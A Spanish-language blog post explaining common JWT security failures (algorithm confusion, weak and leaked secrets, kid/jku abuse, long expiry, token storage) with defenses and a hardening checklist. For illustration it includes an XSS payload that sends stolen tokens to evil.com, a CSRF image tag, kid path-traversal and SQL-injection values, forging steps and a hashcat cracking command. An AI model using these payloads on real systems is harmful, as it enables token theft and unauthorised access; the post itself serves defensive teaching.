ToolAct

Por qué JWT no es seguro: de la confusión de algoritmos a la fuga de claves — Lecciones reales

Herramientas de Desarrollo9 sept 202618 min de lectura

La alerta de las 3 a.m. que cambió cómo veo JWT

2:47 a.m. de un miércoles. Mi móvil vibra sin parar. Una línea en el canal de ops: “API admin accedida sin autorización en staging.”

Abro el portátil medio dormido. Los logs muestran que un usuario recién registrado tomó su propio JWT, cambió role de user a admin en el payload, y llamó al endpoint de borrado. El servidor respondió 200 OK.

Se me cayó el estómago. Usábamos JWT. ¿No era “seguro”? ¿Cómo un cambio de campo lo burló todo?

El postmortem fue una lección de humildad: no era culpa de JWT. Lo tratamos como bala de plata. Después audité cada uso de JWT en el codebase y me enfermé: alg:none no bloqueado, secreto 123456, tokens en localStorage, expiración a 30 días… todos los anti-patrones del manual.

Este post es el despiece que me hubiera gustado tener. JWT es un diseño elegante, pero elegante significa poca tolerancia al mal uso. Un paso en falso y entregas las llaves.

Primero, lo básico: qué es y qué no es JWT

El mito más peligroso: “JWT está cifrado.” No lo está. JWT significa JSON Web Token. Responde a “¿fui yo quien emitió esto y fue manipulado?” no a “¿cómo oculto datos?”

Un JWT normal tiene tres partes separadas por puntos:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
  • Header: {"alg":"HS256","typ":"JWT"} — “Estoy firmado con HS256.”
  • Payload: {"uid":123,"role":"user"} — datos de negocio, solo codificados en Base64Url. Cualquiera puede decodificarlos.
  • Signature: HMAC o RSA sobre las dos primeras partes con la clave/algoritmo del header.

Piensa en JWT como una postal con sello de cera. Cualquiera puede leer lo que escribiste, pero si el sello no coincide, fue manipulado. Nunca escribas tu PIN en una postal.

Así que deja de poner password, phone o SSN en el payload. Lo peor que vi fue un SELECT * de la tabla users metido en un token — 8 KB por petición, reventando el gateway.

Categoría 1: Confusión de algoritmo — Elegante y mortal

Es la clase de bug JWT más famosa, pública desde 2015, aun así muchas librerías “confían en el alg del cliente”.

1. Cambiar alg a none y el servidor dice “¡claro!”

none es un algoritmo JWS válido que significa “sin firma”. Existe para casos no seguros. Una mala verificación luce así:

// NO HAGAS ESTO
const [h] = token.split('.');
const header = JSON.parse(base64UrlDecode(h));
if (header.alg === 'none') return true; // ¡sin verificar!
return verify(token, secret);

El exploit es trivial: cambia header a {"alg":"none"}, pon payload a {"role":"admin"}, quita la firma. El servidor te deja entrar.

Cuando lo reproduje en staging, me temblaban las manos. Un cambio de string = admin.

Defensa: Aplique allowlist. El servidor hardcodea algorithms: ['HS256'] o ['RS256']. Rechaza none. jsonwebtoken moderno desactiva none por defecto, pero verificadores caseros aún fallan.

2. Cambio RS256 → HS256: Usar la clave pública como secreto HMAC

Esta ha quemado a grandes empresas.

RS256 es asimétrico: clave privada firma, pública verifica. HS256 es simétrico: mismo secreto firma y verifica.

Bug: algunas libs eligen método de verificación según header.alg. Atacante toma token RS256, cambia header a HS256, y el servidor piensa: “¿Oh, HS256? Entonces verifico con HMAC usando el ‘secreto’.” Y ese “secreto” es la clave pública RS256 — que es pública.

# Pasos del atacante
1. Obtener clave pública RS256 desde /.well-known/jwks.json
2. Construir header {"alg":"HS256","typ":"JWT"}
3. Construir payload {"uid":1,"role":"admin"}
4. Firmar con HS256 usando la cadena de clave pública como secreto
5. El servidor verifica HMAC con la misma clave pública → pasa

Tim McLean lo divulgó en 2015; muchas libs Python/Ruby fueron afectadas. Sutil, devastador.

Defensa: Dos reglas: ① El algoritmo de verificación lo configura el servidor, nunca desde el token. ② Mantén claves públicas RS256 y secretos HS256 separados. Pasa siempre algorithms: ['RS256'] explícito.

3. Nunca confíes en headers controlados por el cliente

header.alg es controlado por el atacante. Trátalo como isAdmin=true del cliente — nunca lo confíes.

Categoría 2: Claves — Finas como papel cuando se hacen mal

1. Secretos débiles: 123456 no es un secreto

He hecho brute-force de secretos JWT con hashcat en segundos: secret, password, 123456, jwt_secret. Acrónimo + año como acme2023 es apenas mejor. Las firmas JWT son deterministas, así que el atacante puede hacer brute-force offline sin tocar tu servidor.

hashcat -a 0 -m 16500 jwt.txt rockyou.txt

Defensa: Al menos 32 bytes aleatorios: openssl rand -hex 32. Rota inmediatamente si desplegaste un secreto débil e invalida tokens viejos.

2. Fuga de claves: Frontend, GitHub, Logs

Tres fugas vistas en auditorías:

  • Bundle frontend: JWT_SECRET empaquetado en app.js. Buscable en devtools.
  • GitHub: .env commiteado con my_super_secret_123.
  • Logs: Tokens completos logueados a ELK, visibles para todos. Fuga de token = fuga de clave equivalente.

Algunos frameworks incluso fugan el secreto en mensajes de error al fallar verificación.

Defensa: Las claves viven solo en env vars o KMS. El frontend guarda tokens, nunca secretos. Redacta tokens en logs.

3. kid — La puerta trasera olvidada

El campo header kid (Key ID) dice al servidor qué clave usar:

const kid = header.kid;
const key = getKey(kid); // a menudo concatenación
verify(token, key);

Si getKey es ingenuo:

  • Path traversal: kid="../../dev/null" → servidor usa archivo vacío como clave.
  • SQLi: kid="1' OR '1'='1" si kid se concatena en SQL.
  • Sondeo lectura archivo: /keys/${kid}.pem con kid="../../../../etc/passwd".

Una vez enumeré kids válidos vía diferencias de timing en “key not found”.

Defensa: Allowlist estricta para kid (alphanum + guion). Usa un map, nunca interpolación de path/SQL.

4. jku y x5u — Dejar que el atacante elija tu clave

jku (JWK Set URL) y x5u (X509 URL) dicen “obtén mi clave pública en esta URL”. Si el servidor les cree, el atacante apunta jku a su propio servidor y el servidor va feliz a buscar la clave del atacante para verificar el token del atacante.

Defensa: Desactiva jku/x5u/x5c en prod. Si debes, lista blanca de dominios + fuerza HTTPS.

Categoría 3: Expiración, Revocación, Replay — El costo de stateless

El principal argumento de JWT — stateless — es también su maldición. Las sesiones son fáciles de revocar: borra la sesión. Un JWT, una vez emitido, es un cheque irrevocable hasta expirar. Contraseña cambiada, cuenta baneada, token robado — el atacante lo explota hasta que expire.

He visto exp a 30 días o nunca. “Para mejor UX, sin login.” Luego un móvil perdido = ventana de 30 días.

El patrón correcto — corta vida + revocable:

  • Access token corto: 5–15 min, claims mínimas.
  • Refresh token rotativo: Más longevo, guardado httpOnly + DB. Invalida el viejo al usar. Detección de reúso: mismo refresh usado dos veces → revoca todos los tokens del usuario.
  • Blocklist/allowlist: En logout/cambio de pass/ban, pon jti en Redis con TTL = vida restante. Chequea blocklist al verificar. Sí, vuelve stateful — compromiso necesario.
  • Valida aud, iss, nbf: Muchos verificadores saltan aud/iss. Resultado: token de servicio A funciona en servicio B.
jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  issuer: 'auth.mycompany.com',
  audience: 'api.mycompany.com',
  clockTolerance: 5
});

Categoría 4: Dónde guardas JWT decide cómo mueres

DóndeVentajasContrasCómo se fuga
localStorage / sessionStorageFácil para frontendCualquier JS puede leerUn XSS lo roba todo
Variable en memoriaSe va al cerrar pestañaSe pierde al refrescarMás seguro pero mala UX
Cookie httpOnly + Secure + SameSiteJS no puede leer, resistente XSSRiesgo CSRFNecesita token CSRF

Error más común: poner token en localStorage por comodidad, luego una caja de comentarios sin filtro XSS se inyecta con <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))> — tokens de todos los visitantes cosechados.

Las cookies tampoco son mágicas: auto-enviadas, permiten CSRF — <img src="https://api.mycompany.com/transfer?to=attacker"> dispara request autenticada si el usuario está logueado.

Patrón estable hoy: access token en memoria, refresh token en cookie httpOnly + Secure + SameSite=Strict, más SameSite y token anti-CSRF. Refresh al recargar. Y HTTPS en todas partes, si no los tokens van en texto plano.

Categoría 5: Claims olvidados

Firma válida ≠ negocio válido. Muchas codebases hacen req.user = decoded tras verificar y se saltan:

  • exp no verificado — algunas libs no verifican la expiración por defecto.
  • nbf no verificado — “not before” ignorado, token usado antes de tiempo.
  • Privilegios en payload confiados: meter role/isVip en JWT y confiar. Mejor: JWT solo lleva uid, trae privilegios de DB/cache.
  • Replay: Sin dedup jti, token robado rejugado. Para acciones sensibles, exige jti de un solo uso o liga jti + ip + ua.

Checklist de hardening prod — Lo que ahora impongo

  1. Allowlist de algoritmo: Hardcodea algorithms: ['RS256']. Nunca leas alg del header. Desactiva none, jku, x5u.
  2. Claves fuertes, rotables: ≥32 bytes aleatorios para HS256, ≥2048-bit para RS256. Guarda en KMS/env, soporta rotación por kid, mantén clave vieja 7 días.
  3. Expiración corta + rotación: access 10 min, refresh 7 días rotativo + blocklist en logout/cambio pass/ban.
  4. Payload mínimo: Solo uid, jti, exp, iat. Sin PII. Usa JWE si necesitas datos sensibles.
  5. Validación estricta: Chequea iss, aud, exp, nbf, jti. Nunca confíes en JWT para autorización; consulta al servidor.
  6. Almacenamiento: Refresh en cookie httpOnly, access en memoria. Redacta logs, fuerza HTTPS, CSP contra XSS.
  7. Observabilidad: Traza emisión/refresh/revocación jti, alerta en reúso.

En una línea: trata JWT como pase desechable, no como DNI permanente.

Cierre: JWT no está roto — La confianza ciega sí

El diseño de JWT es contenido: tres partes, Base64Url, algoritmos opcionales, claims estándar. Casi cada “inseguridad” es pereza de implementación: confiar en alg para ahorrar esfuerzo, secretos débiles por comodidad, expiración de un mes por UX, meter permisos en payload por velocidad.

Es como un cuchillo de cocina: no es peligroso por sí mismo, pero agítalo con los ojos vendados y te cortarás.

Si usas JWT hoy, grepea tu codebase esta noche: ¿algún verify(token, secret) sin algorithms? ¿Algún secreto en texto plano en config.js? ¿Algún token expirando en días? Arregla uno, has evitado una alerta a las 3 a.m.

No esperes a una brecha para recordar este post.